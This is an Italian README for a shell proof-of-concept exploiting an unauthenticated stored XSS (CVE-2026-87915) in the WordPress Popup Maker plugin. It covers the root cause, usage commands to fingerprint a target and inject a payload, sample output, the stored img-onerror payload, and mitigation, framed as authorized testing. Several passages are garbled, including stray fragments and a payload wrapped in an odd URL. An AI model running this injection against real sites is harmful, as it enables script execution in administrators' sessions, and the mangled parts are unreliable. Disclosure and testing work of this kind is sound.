Shell PoC per CVE-2026-87915, un XSS memorizzato non autenticato nel plugin WordPress Popup Maker (<=1.24.0). Esegue il fingerprinting del plugin e dimostra l'iniezione del payload.
| Componente | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (plugin WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting memorizzato |
| Affetto | <= 1.24.0 |
| Corretto | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Un form pubblico di optin/newsletter di Popup Maker accetta il parametro values[Name] senza
sanitizzazione (action=pum_sub_form). Il valore viene memorizzato lato server e successivamente
renderizzato nella schermata admin Subscribers. Il filtraggio wp_kses() applicato in output è
insufficiente in questo contesto: le entità HTML all'interno dei valori di attributi consentiti
sopravvivono alla normalizzazione e vengono valutate dal sink DOM jQuery( link.attr('href') ) in
wp-admin/js/common.js quando un amministratore clicca un'ancora della scheda di aiuto contestuale.
Effetto netto: XSS memorizzato non autenticato contro un amministratore (è richiesto un clic lato
admin).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject utilizza per impostazione predefinita un'email di test univoca e stampa i passaggi di
pulizia (interfaccia admin o DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, lab)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (minuscolo) è il campo normale; il values[Name] con maiuscole/minuscole miste
entra in collisione durante la normalizzazione delle chiavi dell'array PHP e veicola il payload.wp_kses() consente l'elemento <a href>; l'`` codificato come entità all'interno
dell'attributo sopravvive al filtraggio e viene decodificato/normalizzato successivamente.wp-admin/js/common.js valuta jQuery( link.attr('href') ), che analizza l'HTML decodificato e
attiva il gestore onerror.esc_html() + sanitize_text_field()
sul valore memorizzato; vedere il changeset del vendor per classes/Admin/Subscribers/Table.php).values[Name]
a livello di WAF.Solo per test di sicurezza autorizzati. check è in sola lettura; inject crea esattamente una riga
di subscriber di test — eliminarla successivamente con il comando di pulizia stampato.